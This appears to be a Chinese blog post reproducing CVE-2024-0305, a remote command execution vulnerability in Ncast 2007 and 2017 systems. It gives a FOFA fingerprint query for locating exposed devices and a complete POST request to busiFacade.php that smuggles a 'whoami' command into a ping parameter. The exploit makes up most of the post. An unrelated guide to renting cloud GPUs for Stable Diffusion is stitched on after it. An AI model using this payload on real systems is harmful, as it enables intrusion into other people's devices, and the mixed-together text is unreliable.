Ncast盛可视 CVE-2024-0305 远程命令执行漏洞复现

这篇文章揭示了一起与0x01fofa相关的漏洞,影响了Ncast2007和Ncast2017版本的系统。攻击者通过构造payload在登录页面进行抓包并利用POST请求对busiFacade.php文件发起攻击,可能导致用户数据泄露或系统安全威胁。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x01 fofa语句

icon_hash="-1253433910"

0x02 漏洞影响

Ncast 2007
Ncast 2017

0x03 漏洞利用

登录页面

抓包,构造payload

POST /classes/common/busiFacade.php HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 102
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

{"name":"ping","serviceName":"SysManager","userTransaction":false,"param":["ping 127.0.0.1 | whoami"]}

### 租用GPU以训练Stable Diffusion模型 为了有效运行并加速Stable Diffusion模型,特别是当本地硬件资源不足时,租用云端GPU成为一种高效的选择。考虑到特定需求,即NVIDIA GPU、至少8GB显存以及适当的操作环境配置[^1],多个云服务平台提供了适合此类任务的服务。 #### 选择合适的云计算服务提供商 一些知名的云计算服务商提供按需付费的GPU实例选项,这些平台通常具备灵活的资源配置能力,允许用户根据项目具体要求定制计算资源: - **Amazon Web Services (AWS)** 提供多种类型的EC2实例,其中P系列和G系列特别适用于机器学习工作负载。 - **Google Cloud Platform (GCP)** 的虚拟机支持附加高性能GPU,并且拥有预构建的Deep Learning VM镜像简化设置过程。 - **Microsoft Azure** 同样供应专门针对AI应用优化过的NDv2/NCasT4_v3等系列VM规格。 上述各平台上均能找到满足最低硬件标准(如NVIDIA Tesla V100或更高级别产品线)及相应软件栈安装指南的信息。 #### 配置与启动GPU实例 一旦选定目标供应商及其提供的合适方案,则应按照官方文档指示完成如下操作: 1. 注册账号并通过验证流程; 2. 创建新项目或进入已有工程空间内; 3. 浏览市场列表挑选含有所需框架版本(PyTorch/TensorFlow)的基础映像作为模板; 4. 定义网络参数、安全组规则确保外部访问权限可控; 5. 发起实例创建请求直至成功部署完毕; 此时即可通过SSH连接至远程服务器执行后续命令行指令来传输数据集、克隆仓库代码库并调整超参设定等内容[^2]。 ```bash # 假设已建立好无密码登录机制的情况下复制整个目录结构 cp -r /gemini/data-1/models /gemini/code/stable-diffusion-webui/ ```
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